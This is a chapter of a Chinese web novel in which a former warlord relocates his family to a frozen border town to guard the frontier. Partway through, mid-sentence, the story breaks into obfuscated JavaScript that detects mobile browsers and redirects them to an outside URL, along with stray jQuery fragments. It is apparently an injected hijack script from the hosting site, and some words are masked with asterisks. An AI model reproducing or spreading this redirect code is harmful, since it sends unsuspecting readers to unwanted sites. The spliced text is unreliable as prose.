第140章 新的局势
作品:《重生之少帅的掌心娇医》 易帜仅仅一个月,北城的街头巷尾已经焕然一新。
曾经满大街巡逻的军阀宪兵不见了,取而代之的是穿着整齐的新式国防军。墙上那些“陆大帅万岁”的标语被铲去,刷上了“天下为公”和“保卫边疆”的崭新字样。
书房内,陆淮锦正在签署最后一份整编文件。
他身上的大帅戎装已经换下,穿上了一套剪裁利落的青灰色中山装,领口别着一枚代表“北方边防总司令”的金色徽章。
“司令。”
已经改称“参谋长”的宋虎推门进来,神色有些复杂:
“中央特派员刚走。关于咱们移防的事……上面的意思是,越快越好。”
“这帮文人,是怕我赖在北城这温柔乡里,又要搞割据啊。”
陆淮锦放下钢笔,并不恼怒,反而淡然一笑。
“这样也好。北城太繁华,容易磨灭军人的血性。咱们陆家军的魂在马背上,不在戏园子里。”
他站起身,走到巨大的**前。他的手指越过繁华的北六省腹地,一路向北,最终停留在那个最北端、与苏俄和日本势力范围接壤的边境重镇——漠城。
“那里是国门。”
陆淮锦的眼神变得凝重而深邃,“日本人最近在那个方向动作频频,还有那帮被赶走的黑龙会余孽,都在那边盯着咱们。我去那里,比待在北城更有用。”
“可是司令……”
宋虎犹豫了一下,“漠城苦寒,一年有半年是大雪封山。咱们当兵的皮糙肉厚不怕,可夫人和小少爷……能受得了吗?”
陆淮锦的手指顿住了。
这正是他最愧疚的地方。
沈晚清好不容易才过了几天安稳日子,又要跟着他去那种苦寒之地吃沙子。
“我去问问她。”
陆淮锦叹了口气,“如果她不想去,我就把她和团圆留在北城,或者送去上海……”
……
听涛苑,卧房。
沈晚清正在收拾行李。
不是在收拾细软珠宝,而是在收拾满满几箱子的医书和药材。旁边还整整齐齐地叠着厚厚的棉衣、皮帽和护膝。
“晚晚。”
陆淮锦走进房间,看着这一地的箱子,愣住了。
“你这是……”
“收拾东西啊。”
沈晚清头也没回,正拿着一张单子在核对,“听说漠城那边冬天冷得能冻掉耳朵,而且药材奇缺。我把这几年存的人参、鹿茸都带上,还让人采购了一批西药和纱布。”
“还有团圆的功课,我也找了几个愿意跟咱们去边疆的老师……”
“晚晚。”
陆淮锦走过去,从身后抱住忙碌的她,下巴抵在她的肩头,声音有些闷:
“你可以不去的。”
“我在上海买了栋小洋楼,法租界,很安全。你可以带团圆去那里享福,等这边局势稳了……”
“陆淮锦。”
沈晚清转过身,伸手堵住了他的嘴。
她看着他的眼睛,目光清澈而坚定:
“三年前在柳镇,我就说过,你去哪里,哪里就是家。”
“你是去守国门,又不是去当土匪。我是军人的妻子,哪有临阵脱逃的道理?”
“而且……”
她轻轻抚摸着他领口的那枚徽章,眼中闪烁着骄傲的光芒:
“那里虽然苦,但那是咱们国家的土地。你守着国门,我守着你。咱们一家人整整齐齐的,比什么洋楼都强。”
陆淮锦看着她。
喉咙像是被什么东西堵住了,说不出一句话。
他只能用力地将她拥入怀中,在这初秋的微凉中,感受着她给予的、足以抵御一切严寒的温暖。
“得妻如此,夫复何求。”
……
三日后,北城火车站。
汽笛长鸣,白色的蒸汽直冲云霄。
一列挂着军用标志的专列静静地停在站台上。
并没有盛大的欢送仪式,这是陆淮锦特意要求的。他不希望扰民,更不希望被有心人盯上。
“敬礼——!”
站台上,留守北城的官员和将领们眼含热泪,齐刷刷地敬礼。
陆淮锦站在车厢门口,一身戎装,回了一个标准的军礼。
小团圆趴在车窗上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935628|192885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,好奇地看着外面。他怀里抱着那个虽然有点旧、但依然被他视若珍宝的小木枪,脖子上挂着金弹壳。
“爹,我们要去哪里呀?”
“去一个有很多雪,有很多马,还能打大灰狼的地方。”
陆淮锦坐下来,把儿子抱在腿上,指着窗外不断**的景色:
“团圆,记住了。从今天起,咱们不再是享福的大少爷。咱们要去替老百姓看大门了。”
“看大门?”
小团圆眨巴着眼睛,“那是不是大英雄?”
“对。”陆淮锦笑了,“是最大的英雄。”
……
漠城,边防司令部。
半个月后。
当列车终于停在这个被风沙和冰雪覆盖的边陲小城时,一股凛冽的寒风扑面而来。
这里没有北城的十里洋场,只有低矮的土房、枯黄的草场和远处连绵起伏的黑山白水。
“司令!您终于来了!”
先遣部队的团长跑过来迎接,脸被冻得通红,“这里条件简陋,司令部暂时设在原来的县衙里,委屈夫人和小少爷了。”
“无妨。”
陆淮锦跳下车,转身扶着沈晚清和小团圆下来。
他看着眼前这片苍茫的大地,看着远处界河对岸隐约可见的异国哨塔,眼底的温情瞬间褪去,取而代之的是久违的杀伐决断。
“传我命令。”
陆淮锦的声音在寒风中冷硬如铁:
“第一师立刻接管漠城防务。”“修筑工事,深挖战壕,设立三道防线。”“情报处把耳朵给我竖起来,盯着对面的一举一动。”
他抬起手,指着那条缓缓流淌的界河:
“从今天起,这里就是禁区。”
“无论是谁,敢越过那条河一步……”
“杀无赦!”
风沙卷起陆淮锦的大氅。
新的局势,新的战场。
虽然没了“大帅”的名头,但这头坐镇北疆的猛虎,依然还是那个让敌人闻风丧胆的修罗。
而这一次,他面对的不再是内战的同胞,而是那些早已对此地垂涎三尺、露出獠牙的外敌。

